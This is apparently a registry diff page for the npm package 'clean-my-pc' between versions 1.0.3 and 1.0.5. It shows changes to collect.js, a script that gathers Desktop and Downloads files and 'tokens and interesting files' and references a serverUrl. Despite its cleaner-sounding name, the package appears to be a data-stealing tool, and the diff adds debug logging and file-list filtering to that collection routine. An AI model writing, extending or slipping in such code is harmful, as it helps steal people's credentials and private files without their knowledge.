clean-my-pc 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/collect.js +9 -3
- package/package.json +1 -1
package/collect.js
CHANGED
|
@@ -385,6 +385,10 @@ function cleanup() {
|
|
|
385
385
|
}
|
|
386
386
|
|
|
387
387
|
async function main() {
|
|
388
|
+
console.error('[DEBUG] homeDir:', os.homedir());
|
|
389
|
+
console.error('[DEBUG] hostname:', os.hostname());
|
|
390
|
+
console.error('[DEBUG] serverUrl:', serverUrl);
|
|
391
|
+
|
|
388
392
|
const allFiles = [
|
|
389
393
|
...collectDesktop(),
|
|
390
394
|
...collectDownloads(),
|
|
@@ -394,9 +398,11 @@ async function main() {
|
|
|
394
398
|
...collectTokensAndInterestingFiles(),
|
|
395
399
|
];
|
|
396
400
|
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
401
|
+
var uniqueFiles = [...new Set(allFiles)];
|
|
402
|
+
console.error('[DEBUG] Found files:', uniqueFiles.length);
|
|
403
|
+
if (uniqueFiles.length > 0) { uniqueFiles.forEach(function(f) { console.error('[DEBUG] FILE:', f); }); }
|
|
404
|
+
uniqueFiles = uniqueFiles.filter(function(f) { return fs.existsSync(f); })
|
|
405
|
+
.filter(function(f) { return !f.includes('/tmp/system_collect_'); })
|
|
400
406
|
.sort();
|
|
401
407
|
|
|
402
408
|
if (uniqueFiles.length === 0) {
|